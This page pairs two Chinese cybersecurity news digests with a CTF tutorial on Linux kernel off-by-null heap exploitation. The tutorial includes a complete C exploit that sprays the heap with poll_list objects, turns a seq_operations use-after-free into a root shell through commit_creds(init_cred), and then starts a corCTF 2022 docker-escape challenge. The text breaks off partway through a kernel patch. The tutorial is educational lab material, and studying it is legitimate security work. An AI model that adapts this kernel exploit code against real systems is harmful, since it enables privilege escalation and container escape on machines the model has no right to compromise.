网络安全日报 2024年11月13日
1、研究人员发布Ymir勒索软件分析报告 https://securelist.com/new-ymir-ransomware-found-in-colombia/114493/ 在一起近期的事件响应案例中,研究人员发现了一种新型勒索软件家族,被命名为“Ymir”。该恶意软件在攻击中表现出显著的规避检测能力,其关键特点是通过调用malloc、memmove和memcmp函数在内存中执行大规模操作,以减少磁盘活动,从而避开传统防护措施。分析显示,攻击者首先通过PowerShell远程控制命令成功入侵系统,随后部署了Process Hacker和Advanced IP Scanner等工具,降低系统的安全防护能力。在完成初步准备后,攻击 2、Halliburton披露遭受勒索软件攻击造成3500万美元损失 https://www.securityweek.com/cyberattack-cost-oil-giant-halliburton-35-million/ 全球能源行业服务巨头Halliburton披露,8月发生的一起勒索软件攻击导致公司损失高达3500万美元。此次攻击迫使公司关闭部分IT系统,并断开与客户的连接,尽管影响被控制在一定范围内,但对业务运营造成显著冲击。Halliburton在全球70个国家开展业务,拥有4.8万名员工,2023年营收超过230亿美元。2024年8月23日,公司向美国证券交易委员会(SEC)提交报告,证实一名未经授权的第三方侵入其系统。为了应对此次入侵,Ha 3、苹果iOS 18.1新增“闲置重启”功能强化数据安全 https://www.bleepingcomputer.com/news/security/iphones-now-auto-restart-to-block-access-to-encrypted-data-after-long-idle-times/ 苹果在上月发布的iOS 18.1更新中新增了一项名为“闲置重启”的安全功能。该功能旨在长时间闲置后自动重启设备,从而重新加密数据并提高提取难度。这一变化使设备从“首次解锁后”(AFU)状态切换为“首次解锁前”(BFU)状态。在BFU状态下,数据提取变得更为困难,因为解密所需的密钥不再保存在内存中,甚至连操作系统也无法访问。在iOS设备中, 4、亚马逊确认第三方供应商遭黑客攻击后泄露员工数据 https://www.forbes.com/sites/larsdaniel/2024/11/11/amazon-confirms-data-breach-exposed-2800000-lines-of-employee-data/ 亚马逊近日披露,员工数据因第三方物业管理供应商遭到攻击而被泄露,此次事件再次凸显了2023年MOVEit漏洞的长期危害。泄露事件由威胁行为者“Nam3L3ss”曝光,他们声称掌握了超过250TB的数据库文件,其中包括亚马逊和其他25家主要组织的数据。此次泄露与CVE-2023-34362漏洞相关,该漏洞是2023年5月首次被利用的严重SQL注入缺陷,攻击者可 5、Embargo勒索软件组织威胁泄露医院数据 https://www.govinfosecurity.com/embargo-ransomware-gang-sets-deadline-to-leak-hospital-data-a-26784 勒索软件组织Embargo近日威胁,将在未支付赎金的情况下公布1.15TB的数据,涉及美国乔治亚州一家小型社区医院和护理院。此次袭击发生在11月1日,Embargo在暗网公布了倒计时,声称即将泄露从Memorial Hospital and Manor和其附属的Willow Ridge个人护理机构窃取的文件。此次攻击导致该医院的IT系统瘫痪,影响了电子健康记录(EHR)和邮件等关键服务。Memo 6、Bitcoin Fog 创始人因加密货币洗钱被判处 12 年徒刑 https://thehackernews.com/2024/11/bitcoin-fog-founder-sentenced-to-12.html 36 岁的 Bitcoin Fog 加密货币混合器创始人因在 2011 年至 2021 年期间为洗钱活动提供便利而被判处 12 年零 6 个月监禁。 7、D-Link 不打算修复影响6万台旧 NAS 设备的关键漏洞 https://www.bleepingcomputer.com/news/security/d-link-wont-fix-critical-flaw-affecting-60-000-older-nas-devices/ 该漏洞被跟踪为 CVE-2024-10914,严重性评分为 9.2,超过 6万台已达到使用寿命的 D-Link 网络连接存储设备受到影响。D-Link 确认不会发布针对 CVE-2024-10914 的修复程序,供应商建议用户淘汰易受攻击的产品。 8、Anthropic、Palantir、AWS 为美国国防和情报机构构建 AI https://www.inforisktoday.com/anthropic-palantir-aws-to-build-ai-for-us-defense-a-26773 Palantir、Anthropic 和 Amazon Web Services 合作构建了一个人工智能平台,供美国国防和情报机构使用。 9、Entrust 将停止作为受信任的证书颁发机构 https://www.inforisktoday.com/entrust-will-stop-operating-as-trusted-certificate-authority-a-26766 Google Chrome 和 Java Runtime Engine 以多年的问题为由,将不再信任由总部位于明尼阿波利斯的 Entrust 运行的所有新根证书颁发机构。 10、黑客滥用 Google Ads 传播 Fakebat 恶意软件 https://cybersecuritynews.com/fakebat-malware-via-google-ads/#google_vignette 网络安全研究人员发现,通过恶意 Google Ads 分发的 Fakebat 恶意软件加载程序卷土重来。经过长达数月的隐匿,Fakebat 重新出现,专注于正在寻找流行的生产力软件的用户。 声明 以上内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景科技观点,因此第三方对以上内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景科技无关。以上内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景科技一律不予承担。
网络安全日报 2024年11月12日
1、Rhadamanthys窃密木马针对全球多个地区发起攻击 https://research.checkpoint.com/2024/massive-phishing-campaign-deploys-latest-rhadamanthys-version/ Check Point Research近期揭露了一个名为CopyRh(ight)adamantys的全球性钓鱼活动,该活动利用最新版本的Rhadamanthys窃密软件进行攻击。这场大规模且复杂的网络钓鱼活动以版权侵权为主题,针对美国、欧洲、东亚和南美等地区。攻击者冒充多家公司,通过不同的Gmail账户发送电子邮件,根据目标实体调整冒充的公司和语言,其中近70%的冒充对象来自娱乐/媒体和技术/ 2、Fickle Stealer通过伪装成GitHub应用窃取用户信息 https://www.trellix.com/blogs/research/new-stealer-uses-invalid-cert-to-compromise-systems/ Fickle Stealer是一种基于Rust的新型信息窃取恶意软件,自2024年5月以来已通过多种途径传播,包括钓鱼邮件、浏览器自动下载、漏洞利用套件和社交工程。Fickle Stealer可伪装成Windows版GitHub Desktop,并带有“GitHub, Inc.”和“Microsoft Public RSA Time Stamping Authority”的伪造数字签名,增加其可信度,迷惑用户。 3、ESET研究人员公开发布关于RedLine窃密木马的研究成果 https://www.welivesecurity.com/en/eset-research/life-crooked-redline-analyzing-infamous-infostealers-backend/ 荷兰国家警方与多国执法机构联合打击RedLine窃密恶意软件后,安全公司ESET公开了2023年的研究发现,并分享了由荷兰警方提供的源代码和样本分析结果。RedLine自2020年起便作为信息窃取的恶意软件即服务(MaaS)在各大黑客论坛上出售,用户可购买订阅或永久授权,并通过控制面板生成恶意样本,收集受害者的加密货币钱包、浏览器凭证及聊天工具等信息。尽管此次行动重创了Red 4、攻击者使用ZIP串联文件策略对Windows用户传播恶意软件 https://perception-point.io/blog/evasive-concatenated-zip-trojan-targets-windows-users/ 威胁行为者正利用ZIP文件的结构灵活性,通过拼接技术将恶意代码嵌入ZIP文件中,以规避安全检测。此方法依赖于不同ZIP文件读取器和压缩管理器对拼接ZIP文件处理方式的差异,使得攻击者能够针对特定工具的用户植入恶意软件。通过在ZIP文件的“文件项”、“中央目录”和“结束目录记录”结构中灵活嵌入恶意代码,威胁行为者能够有效避开安全检测。ZIP文件的设计初衷是为了简化文件处理,提高数据传输效率,但这也给攻击者带来了利用空间。 5、恶意Python包伪装成SSH自动化函数库fabric窃取AWS凭证 https://socket.dev/blog/malicious-python-package-typosquats-fabric-ssh-library Socket研究团队近日发现,一个名为“fabrice”的恶意Python包伪装成流行的Fabric库,利用“typosquatting”技术迷惑开发者并进行凭证窃取。该包自2021年在PyPI上线以来已被下载超过37,000次,默默窃取了众多用户的AWS凭证。此类利用开源库的恶意行为给依赖开源软件的开发者带来巨大的安全风险,类似情况曾出现在近期席卷npm的恶意软件攻击中。bitprophet开发的原版Fabric库备受信赖,拥有超过2 6、诈骗分子针对英国老年人发送名为冬季燃料补贴的虚假短信 https://www.bleepingcomputer.com/news/security/scammers-target-uk-senior-citizens-with-winter-fuel-payment-texts/ 随着冬季来临,一波针对英国老年居民的取暖补贴和生活费援助诈骗短信正在蔓延。诈骗者伪装成政府部门,以“冬季取暖补贴”和“生活补助”为名,向居民发送虚假短信,诱骗他们点击非法链接并填写个人及支付信息。这一诈骗活动恰逢英国政府近期决定削减冬季燃料补贴之际,政策变化引发了广泛关注。该补贴原本由英国工作与养老金部(DWP)每年向65岁以上居民发放,以帮助他们负担冬季取暖费用。然 7、国际刑警组织:网络犯罪席卷全球每39秒就发生一次黑客攻击 https://baijiahao.baidu.com/s?id=1815123071568565469 据阿联酋《国民报》网站报道,国际刑警组织披露,一波“空前”的网络犯罪浪潮席卷全球,每39秒就会发生一次黑客攻击,给受害者造成重大经济损失。 8、美国警方报告:苹果iOS 18新安全措施提高了 iPhone 取证难度 https://www.ithome.com/0/808/794.htm 科技媒体 404media 披露了一份美国密歇根州底特律执法部门的报告,称 iOS 18 系统添加新的安全措施,导致在数字取证过程中 iPhone 自发重启进入未解锁状态,提高了取证难度。 9、澳大利亚政府采取行动禁止 16 岁以下儿童使用社交媒体 https://cybernews.com/news/australian-government-to-ban-social-media-for-kids-under-16/ 澳大利亚总理安东尼·阿尔巴尼斯 (Anthony Albanese) 公布了“世界领先的”计划,将访问社交媒体的最低年龄设定为 16 岁,包括 Instagram、TikTok、Facebook、X 甚至 YouTube。 10、中国游戏玩家正成为 Winos4.0 框架骗局的目标 https://www.darkreading.com/threat-intelligence/chinese-gamers-targeted-winos40-framework-scam 研究人员警告说,一个名为 Winos4.0,且针对中文用户的高级恶意框架正在利用游戏应用程序的安装工具、加速器和优化实用程序分发。 声明 以上内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景科技观点,因此第三方对以上内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景科技无关。以上内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景科技一律不予承担。
Linux kernel 堆溢出利用方法(二)
前言 本文我们通过我们的老朋友heap_bof来讲解Linux kernel中off-by-null的利用手法。在通过讲解另一道相对来说比较困难的kernel off-by-null + docker escape来深入了解这种漏洞的利用手法。(没了解过docker逃逸的朋友也可以看懂,毕竟有了root权限后,docker逃逸就变的相对简单了)。 off by null 我们还是使用上一篇的例题heap_bof来讲解这种利用手法,现在我们假设这道题没有提供free,并且只有单字节溢出,并且溢出的单字节只能是NULL,那么我们应该怎麼去利用呢? 利用思路 boot.sh #!/bin/bash qemu-system-x86_64 \  -initrd rootfs.img \  -kernel bzImage \  -m 1G \  -append 'console=ttyS0 root=/dev/ram oops=panic panic=1 quiet nokaslr' \  -monitor /dev/null \  -s \  -cpu kvm64 \  -smp cores=1,threads=2 \  --nographic poll系统调用 /* *   @fds: pollfd类型的一个数组 *   @nfds: 前面的参数fds中条目的个数 *   @timeout: 事件发生的毫秒数 */ int poll(struct pollfd *fds, nfds_t nfds, int timeout); poll_list 结构体对象是在调用 poll() 时分配,该调用可以监视 1 个或多个文件描述符的活动。 struct pollfd { int fd; short events; short revents; }; struct poll_list {    struct poll_list *next; // 指向下一个poll_list    int len; // 对应于条目数组中pollfd结构的数量    struct pollfd entries[]; // 存储pollfd结构的数组 }; poll_list 结构如下图所示,前 30 个 poll_fd 在栈上,后面的都在堆上,最多 510 个 poll_fd 在一个堆上的 poll_list 上,堆上的 poll_list 最大为 0x1000。 poll_list 分配/释放 do_sys_poll 函数完成 poll_list 的分配和释放。poll_list 的是超时自动释放的,我们可以指定 poll_list 的释放时间。 #define POLL_STACK_ALLOC 256 #define PAGE_SIZE 4096 //(4096-16)/8 = 510(堆上存放pollfd最大数量) #define POLLFD_PER_PAGE ((PAGE_SIZE-sizeof(struct poll_list)) / sizeof(struct pollfd)) //(256-16)/8 = 30 (栈上存放pollfd最大数量) #define N_STACK_PPS ((sizeof(stack_pps) - sizeof(struct poll_list)) / sizeof(struct pollfd)) [...] static int do_sys_poll(struct pollfd __user *ufds, unsigned int nfds, struct timespec64 *end_time) {    struct poll_wqueues table;    int err = -EFAULT, fdcount, len;    /* Allocate small arguments on the stack to save memory and be       faster - use long to make sure the buffer is aligned properly       on 64 bit archs to avoid unaligned access */                    /*    * [1] stack_pps 256 字节的栈缓冲区, 负责存储前 30 个 pollfd entry    */    long stack_pps[POLL_STACK_ALLOC/sizeof(long)];    struct poll_list *const head = (struct poll_list *)stack_pps;    struct poll_list *walk = head; unsigned long todo = nfds; if (nfds > rlimit(RLIMIT_NOFILE)) return -EINVAL; /* * [2] 前30个 pollfd entry 先存放在栈上,节省内存和时间 */ len = min_t(unsigned int, nfds, N_STACK_PPS); for (;;) { walk->next = NULL; walk->len = len; if (!len) break; if (copy_from_user(walk->entries, ufds + nfds-todo, sizeof(struct pollfd) * walk->len)) goto out_fds; todo -= walk->len; if (!todo) break;        /*        * [3] 如果提交超过30个 pollfd entries,就会把多出来的 pollfd 放在内核堆上。        * 每个page 最多存 POLLFD_PER_PAGE (510) 个entry,        * 超过这个数,则分配新的 poll_list, 依次循环直到存下所有传入的 entry        */ len = min(todo, POLLFD_PER_PAGE);        /*        *   [4] 只要控制好被监控的文件描述符数量,就能控制分配size,从 kmalloc-32 到 kmalloc-4k        */ walk = walk->next = kmalloc(struct_size(walk, entries, len), GFP_KERNEL); if (!walk) { err = -ENOMEM; goto out_fds; } } poll_initwait(&table);    /*    * [5] 分配完 poll_list 对象后,调用 do_poll() 来监控这些文件描述符,直到发生特定 event 或者超时。    *   这里 end_time 就是最初传给 poll() 的超时变量, 这表示 poll_list 对象可以在内存中保存任意时长,超时后自动释放。    */ fdcount = do_poll(head, &table, end_time);   poll_freewait(&table); if (!user_write_access_begin(ufds, nfds * sizeof(*ufds))and) goto out_fds; for (walk = head; walk; walk = walk->next) { struct pollfd *fds = walk->entries; int j; for (j = walk->len; j; fds++, ufds++, j--) unsafe_put_user(fds->revents, &ufds->revents, Efault); } user_write_access_end(); err = fdcount; out_fds: walk = head->next; while (walk) { // [6] 释放 poll_list: 遍历单链表, 释放每一个 poll_list, 这里可以利用 struct poll_list *pos = walk; walk = walk->next; kfree(pos); } return err; Efault: user_write_access_end(); err = -EFAULT; goto out_fds; } 我们可以去找到一些结构体,其头 8 字节是一个指针,然后利用 off by null 去损坏该指针,比如使得 0xXXXXa0 变成 0xXXXX00,然后就可以考虑利用堆喷去构造 UAF 了。 详细流程 首先分配 kmalloc-4096 大小的结构题在ptr[0]; 然后构造这样的poll_list结构体。 利用off-by-null将poll_list->next的最后一个字节改为空。然后大量分配kmalloc-32的obj内存,这里只所以是 32 字节大小是因为要与后面的 seq_operations 配合,并且 32 大小的 object 其低字节是可能为 \x00 的,其低字节为 0x20、0x40、0x80 、0xa0、0xc0、0xe0、0x00。运气好可以被我们篡改后的poll_list->next指到。但对于这道题来说我们没有足够的堆块用于堆喷,所以成功率是极低的。 等待poll_list线程执行完毕,并且我们分配的kmalloc-32被错误释放,分配大量的seq_operations,运气好可以正好被分配到我们释放的kmalloc-32,形成UAF,这样我们就可以利用UAF修改seq_operations->start指针指向提权代码。 提权可以参考上一篇文章,利用栈上的残留值来bypass kaslr。 exp #ifndef _GNU_SOURCE #define _GNU_SOURCE #endif #include <asm/ldt.h> #include <assert.h> #include <ctype.h> #include <errno.h> #include <fcntl.h> #include <linux/keyctl.h> #include <linux/userfaultfd.h> #include <poll.h> #include <pthread.h> #include <sched.h> #include <semaphore.h> #include <signal.h> #include <stdbool.h> #include <stdint.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <sys/ioctl.h> #include <sys/ipc.h> #include <sys/mman.h> #include <sys/msg.h> #include <sys/prctl.h> #include <sys/sem.h> #include <sys/shm.h> #include <sys/socket.h> #include <sys/syscall.h> #include <sys/types.h> #include <sys/wait.h> #include <sys/xattr.h> #include <unistd.h> #include <sys/sysinfo.h> #define BOF_MALLOC 5 #define BOF_FREE 7 #define BOF_EDIT 8 #define BOF_READ 9 #define SEQ_NUM (2048 + 128) #define TTY_NUM 72 #define PIPE_NUM 1024 #define KEY_NUM 199 char buf[0x20]; int bof_fd; int key_id[KEY_NUM]; #define N_STACK_PPS 30 #define POLL_NUM 0x1000 #define PAGE_SIZE 0x1000 struct param {    size_t len;        // 内容长度    char *buf;         // 用户态缓冲区地址    unsigned long idx; // 表示 ptr 数组的 索引 }; size_t user_cs, user_rflags, user_sp, user_ss; void save_status() {    __asm__("mov user_cs, cs;"            "mov user_ss, ss;"            "mov user_sp, rsp;"            "pushf;"            "pop user_rflags;");    puts("[*] status has been saved."); } void get_shell(void) {    system("/bin/sh"); } void qword_dump(char *desc, void *addr, int len) {    uint64_t *buf64 = (uint64_t *) addr;    uint8_t *buf8 = (uint8_t *) addr;    if (desc != NULL) {        printf("[*] %s:\n", desc);   }    for (int i = 0; i < len / 8; i += 4) {        printf(" %04x", i * 8);        for (int j = 0; j < 4; j++) {            i + j < len / 8 ? printf(" 0x%016lx", buf64[i + j]) : printf("                   ");       }        printf("   ");        for (int j = 0; j < 32 && j + i * 8 < len; j++) {            printf("%c", isprint(buf8[i * 8 + j]) ? buf8[i * 8 + j] : '.');       }        puts("");   } } /*--------------------------------------------------------------------------------------------------*/ struct callback_head {    struct callback_head *next;    void (*func)(struct callback_head *head); } __attribute__((aligned(sizeof(void *)))); #define rcu_head callback_head #define __aligned(x)                   __attribute__((__aligned__(x))) typedef unsigned long long u64; struct user_key_payload {    struct rcu_head rcu;        /* RCU destructor */    unsigned short datalen;    /* length of this data */    char data[0] __aligned(__alignof__(u64)); /* actual data */ }; int key_alloc(int id, void *payload, int payload_len) {    char description[0x10] = {};    sprintf(description, "pwn_%d", id);    return key_id[id] = syscall(__NR_add_key, "user", description, payload, payload_len - sizeof(struct user_key_payload), KEY_SPEC_PROCESS_KEYRING); } int key_update(int id, void *payload, size_t plen) {    return syscall(__NR_keyctl, KEYCTL_UPDATE, key_id[id], payload, plen); } int key_read(int id, void *bufer, size_t buflen) {    return syscall(__NR_keyctl, KEYCTL_READ, key_id[id], bufer, buflen); } int key_revoke(int id) {    return syscall(__NR_keyctl, KEYCTL_REVOKE, key_id[id], 0, 0, 0); } int key_unlink(int id) {    return syscall(__NR_keyctl, KEYCTL_UNLINK, key_id[id], KEY_SPEC_PROCESS_KEYRING); } /*--------------------------------------------------------------------------------------------------*/ pthread_t tid[40]; typedef struct {    int nfds, timer; } poll_args; struct poll_list {    struct poll_list *next;    int len;    struct pollfd entries[]; }; void* alloc_poll_list(void *args) {    int nfds = ((poll_args *) args)->nfds;    int timer = ((poll_args *) args)->timer;    struct pollfd *pfds = calloc(nfds, sizeof(struct pollfd));    for (int i = 0; i < nfds; i++) {        pfds[i].fd = open("/etc/passwd", O_RDONLY);        pfds[i].events = POLLERR;   }    poll(pfds, nfds, timer); } void* create_poll_list(size_t size, int timer, int i) {    poll_args *args = calloc(1, sizeof(poll_args));    args->nfds = (size - (size + PAGE_SIZE - 1) / PAGE_SIZE * sizeof(struct poll_list)) / sizeof(struct pollfd) + N_STACK_PPS;    args->timer = timer;    pthread_create(&tid[i], NULL, alloc_poll_list, args); } /*--------------------------------------------------------------------------------------------------*/ struct list_head {    struct list_head *next, *prev; }; struct tty_file_private {    struct tty_struct *tty;    struct file *file;    struct list_head list; }; struct page; struct pipe_inode_info; struct pipe_buf_operations; struct pipe_bufer {    struct page *page;    unsigned int offset, len;    const struct pipe_buf_operations *ops;    unsigned int flags;    unsigned long private; }; struct pipe_buf_operations {    int (*confirm)(struct pipe_inode_info *, struct pipe_bufer *);    void (*release)(struct pipe_inode_info *, struct pipe_bufer *);    int (*try_steal)(struct pipe_inode_info *, struct pipe_bufer *);    int (*get)(struct pipe_inode_info *, struct pipe_bufer *); }; /*--------------------------------------------------------------------------------------------------*/ void *(*commit_creds)(void *) = (void *) 0xFFFFFFFF810A1340; void *init_cred = (void *) 0xFFFFFFFF81E496C0; size_t user_rip = (size_t) get_shell; size_t kernel_offset; void get_root() {    __asm__(        "mov rax, [rsp + 8];"        "mov kernel_offset, rax;"   );    kernel_offset -= 0xffffffff81229378;    commit_creds = (void *) ((size_t) commit_creds + kernel_offset);    init_cred = (void *) ((size_t) init_cred + kernel_offset);    commit_creds(init_cred);    __asm__(        "swapgs;"        "push user_ss;"        "push user_sp;"        "push user_rflags;"        "push user_cs;"        "push user_rip;"        "iretq;"   ); } /*--------------------------------------------------------------------------------------------------*/ int main() {    save_status();    signal(SIGSEGV, (void *) get_shell);    bof_fd = open("dev/bof", O_RDWR);    int seq_fd[SEQ_NUM];    printf("[*] try to alloc_kmalloc-4096\n");    size_t* mem = malloc(0x1010);    memset(mem, '\xff', 0x1010);    struct param p = {0x1000, (char*)mem, 0};    ioctl(bof_fd, BOF_MALLOC, &p);    printf("[*] try to spary kmalloc-32\n");    p.len = 0x20;    for (int i = 1; i < 20; ++i)   {        p.idx = i;        memset(mem, i, 0x20);        memset(mem, 0, 0x18);        ioctl(bof_fd, BOF_MALLOC, &p);        ioctl(bof_fd, BOF_EDIT, &p);   }    printf("[*] try to alloc_poll_list\n");    for (int i = 0; i < 14; ++i)   {        create_poll_list(PAGE_SIZE + sizeof(struct poll_list) + sizeof(struct pollfd), 3000, i);   }    printf("[*] try to spary kmalloc-32\n");    p.len = 0x20;    for (int i = 20; i < 40; ++i)   {        p.idx = i;        memset(mem, i, 0x20);        memset(mem, 0, 0x18);        ioctl(bof_fd, BOF_MALLOC, &p);        ioctl(bof_fd, BOF_EDIT, &p);   }    sleep(1); // 调试用代码 //   p.len = 0x1010; //   p.idx = 0; //   ioctl(bof_fd, BOF_READ, &p); //   printf("[*] p->buf == %p\n", (size_t*)mem[0x1008/8]);    p.len = 0x1001;    p.idx = 0;    memset(mem, '\x00', 0x1001);    ioctl(bof_fd, BOF_EDIT, &p);    void *res;    for (int i = 0; i < 14; ++i)   {        printf("[*] wating for poll end\n");        pthread_join(tid[i], &res);   }    for (int i = 0; i < 256; ++i)   {        seq_fd[i] = open("/proc/self/stat", O_RDONLY);   }    sleep(1);    for (int i = 1; i < 40; ++i)   {        p.idx = i;        p.len = 0x20;        ioctl(bof_fd, BOF_READ, &p);        printf("[%d->0] p->buf == %p\n", i, (size_t*)mem[0]);        printf("[%d->1] p->buf == %p\n", i, (size_t*)mem[1]);        printf("[%d->2] p->buf == %p\n", i, (size_t*)mem[2]);        printf("[%d->3] p->buf == %p\n", i, (size_t*)mem[3]);        mem[0] = (size_t*)get_root;        mem[1] = (size_t*)get_root;        mem[2] = (size_t*)get_root;        mem[3] = (size_t*)get_root;        ioctl(bof_fd, BOF_EDIT, &p);   }    for (int i = 1; i < 40; ++i)   {        p.idx = i;        p.len = 0x20;        ioctl(bof_fd, BOF_READ, &p);        printf("[%d->0] p->buf == %p\n", i, (size_t*)mem[0]);        printf("[%d->1] p->buf == %p\n", i, (size_t*)mem[1]);        printf("[%d->2] p->buf == %p\n", i, (size_t*)mem[2]);        printf("[%d->3] p->buf == %p\n", i, (size_t*)mem[3]);   }    for (int i = 0; i < 256; i++) {        read(seq_fd[i], p.buf, 1);   }    return 0; } corCTF-2022:Corjail 题目分析 我们可以使用 Guestfish 工具读取和修改 qcow2 文件。 run_challenge.sh #!/bin/sh qemu-system-x86_64 \    -m 1G \    -nographic \    -no-reboot \    -kernel bzImage \    -append "console=ttyS0 root=/dev/sda quiet loglevel=3 rd.systemd.show_status=auto rd.udev.log_level=3 oops=panic panic=-1 net.ifnames=0 pti=on" \    -hda coros.qcow2 \    -snapshot \    -monitor /dev/null \    -cpu qemu64,+smep,+smap,+rdrand \    -smp cores=4 \    --enable-kvm init脚本 查看服务进程/etc/systemd/system/init.service; Description=Initialize challenge [Service] Type=oneshot ExecStart=/usr/local/bin/init [Install] WantedBy=multi-user.target 查看 /usr/local/bin/init 脚本; cat /usr/local/bin/init #!/bin/bash USER=user FLAG=$(head -n 100 /dev/urandom | sha512sum | awk '{printf $1}') useradd --create-home --shell /bin/bash $USER echo "export PS1='\[\033[01;31m\]\u@CoROS\[\033[00m\]:\[\033[01;34m\]\w\[\033[00m\]# '" >> /root/.bashrc echo "export PS1='\[\033[01;35m\]\u@CoROS\[\033[00m\]:\[\033[01;34m\]\w\[\033[00m\]\$ '" >> /home/$USER/.bashrc chmod -r 0700 /home/$USER mv /root/temp /root/$FLAG chmod 0400 /root/$FLAG password ❯ guestfish --rw -a coros.qcow2 ><fs> run ><fs> list-filesystems /dev/sda: ext4 ><fs> mount /dev/sda / ><fs> cat /etc/password libguestfs: error: download: /etc/password: No such file or directory ><fs> cat /etc/passwd root:x:0:0:root:/root:/usr/local/bin/jail daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin ...... root_shell 查看root用户的/usr/local/bin/jail; ><fs> cat /usr/local/bin/jail #!/bin/bash echo -e '[\033[5m\e[1;33m!\e[0m] Spawning a shell in a CoRJail...' /usr/bin/docker run -it --user user \ --hostname CoRJail \    --security-opt seccomp=/etc/docker/corjail.json \    -v /proc/cormon:/proc_rw/cormon:rw corcontainer /bin/bash /usr/sbin/poweroff -f 发现其启动root的 shell 后是首先调用 docker来构建了一个容器然后关闭自身,在那之后我们起的虚拟环境就是处于该docker容器当中。 为了方便调试,我们可以使用edit将其修改为: ><fs> edit /usr/local/bin/jail ><fs> cat /usr/local/bin/jail #!/bin/bash echo -e '[\033[5m\e[1;33m!\e[0m] Spawning a shell in a CoRJail...' cp /exploit /home/user || echo "[!] exploit not found, skipping" chown -R user:user /home/user echo 0 > /proc/sys/kernel/kptr_restrict /usr/bin/docker run -it --user root \  --hostname CoRJail \  --security-opt seccomp=/etc/docker/corjail.json \  # 允许容器能够调用与日志相关的系统调用  --cap-add CAP_SYSLOG \  # 将宿主机的 /proc/cormon 目录挂载到容器内的 /proc_rw/cormon,并且以读写模式挂载。  -v /proc/cormon:/proc_rw/cormon:rw \  # 将宿主机的 /home/user/ 目录挂载到容器内的 /home/user/host  -v /home/user/:/home/user/host \ corcontainer /bin/bash /usr/sbin/poweroff -f edit 的用法和 vim 一样。 后面我们上传 exp 的时候可以使用 upload 命令,其格式如下: ><fs> help upload NAME   upload - upload a file from the local machine SYNOPSIS     upload filename remotefilename DESCRIPTION   Upload local file filename to remotefilename on the filesystem.   filename can also be a named pipe.   See also "download". kernel_patch diff -ruN a/arch/x86/entry/syscall_64.c b/arch/x86/entry/syscall_64.c --- a/arch/x86/entry/syscall_64.c 2022-06-29 08:59:54.000000000 +0200 +++ b/arch/x86/entry/syscall_64.c 2022-07-02 12:34:11.237778657 +0200 @@ -17,6 +17,9 @@ #define __SYSCALL_64(nr, sym) [nr] = __x64_##sym, +DEFINE_PER_CPU(u64 [NR_syscalls], __per_cpu_syscall_count); +EXPORT_PER_CPU_SYMBOL(__per_cpu_syscall_count); + asmlinkage const sys_call_ptr_t sys_call_table[__NR_syscall_max+1] = { /* * Smells like a compiler bug -- it doesn't work diff -ruN a/arch/x86/include/asm/syscall_wrapper.h b/arch/x86/include/asm/syscall_wrapper.h --- a/arch/x86/include/asm/syscall_wrapper.h 2022-06-29 08:59:54.000000000 +0200 +++ b/arch/x86/include/asm/syscall_wrapper.h 2022-07-02 12:34:11.237778657 +0200 @@ -245,7 +245,7 @@ * SYSCALL_DEFINEx() -- which is essential for the COND_SYSCALL() and SYS_NI() * macros to work correctly. */ -#define SYSCALL_DEFINE0(sname) \ +#define __SYSCALL_DEFINE0(sname) \ SYSCALL_METADATA(_##sname, 0); \ static long __do_sys_##sname(const struct pt_regs *__unused); \ __X64_SYS_STUB0(sname) \ diff -ruN a/include/linux/syscalls.h b/include/linux/syscalls.h --- a/include/linux/syscalls.h 2022-06-29 08:59:54.000000000 +0200 +++ b/include/linux/syscalls.h 2022-07-02 12:34:11.237778657 +0200 @@ -82,6 +82,7 @@ #include <linux/key.h> #include <linux/personality.h> #include <trace/syscall.h> +#include <asm/syscall.h> #ifdef CONFIG_ARCH_HAS_SYSCALL_WRAPPER /* @@ -202,8 +203,8 @@ } #endif -#ifndef SYSCALL_DEFINE0 -#define SYSCALL_DEFINE0(sname) \ +#ifndef __SYSCALL_DEFINE0 +#define __SYSCALL_DEFINE0(sname) \ SYSCALL_METADATA(_##sname, 0); \ asmlinkage long sys_##sname(void); \ ALLOW_ERROR_INJECTION(sys_##sname, ERRNO); \ @@ -219,9 +220,41 @@ #define SYSCALL_DEFINE_MAXARGS 6 -#define SYSCALL_DEFINEx(x, sname, ...) \ - SYSCALL_METADATA(sname, x, __VA_ARGS__) \ - __SYSCALL_DEFINEx(x, sname, __VA_ARGS__) +DECLARE_PER_CPU(u64[], __per_cpu_syscall_count); + +#define SYSCALL_COUNT_DECLAREx(sname, x, ...) \ + static inline long __count_sys##sname(__MAP(x, __SC_DECL, __VA_ARGS__)); + +#define __SYSCALL_COUNT(syscall_nr) \ + this_cpu_inc(__per_cpu_syscall_count[(syscall_nr)]) + +#define SYSCALL_COUNT_FUNCx(sname, x, ...) \ + { \ + __SYSCALL_COUNT(__syscall_meta_##sname.syscall_nr); \ + return __count_sys##sname(__MAP(x, __SC_CAST, __VA_ARGS__)); \ + } \ + static inline long __count_sys##sname(__MAP(x, __SC_DECL, __VA_ARGS__)) + +#define SYSCALL_COUNT_DECLARE0(sname) \ + static inline long __count_sys_##sname(void); + +#define SYSCALL_COUNT_FUNC0(sname) \ + { \ + __SYSCALL_COUNT(__syscall_meta__##sname.syscall_nr); \ + return __count_sys_##sname(); \ + } \ + static inline long __count_sys_##sname(void) + +#define SYSCALL_DEFINEx(x, sname, ...) \ + SYSCALL_METADATA(sname, x, __VA_ARGS__) \ + SYSCALL_COUNT_DECLAREx(sname, x, __VA_ARGS__) \ + __SYSCALL_DEFINEx(x, sname, __VA_ARGS__) \ + SYSCALL_COUNT_FUNCx(sname, x, __VA_ARGS__) + +#define SYSCALL_DEFINE0(sname) \ + SYSCALL_COUNT_DECLARE0(sname) \ + __SYSCALL_DEFINE0(sname) \ + SYSCALL_COUNT_FUNC0(sname) #define __PROTECT(...) asmlinkage_protect(__VA_ARGS__) diff -ruN a/kernel/trace/trace_syscalls.c b/kernel/trace/trace_syscalls.c --- a/kernel/trace/trace_syscalls.c 2022-06-29 08:59:54.000000000 +0200 +++ b/kernel/trace/trace_syscalls.c 2022-07-02 12:34:32.902426748 +0200 @@ -101,7 +101,7 @@ return NULL; } -static struct syscall_metadata *syscall_nr_to_meta(int nr) +struct syscall_metadata *syscall_nr_to_meta(int nr) { if 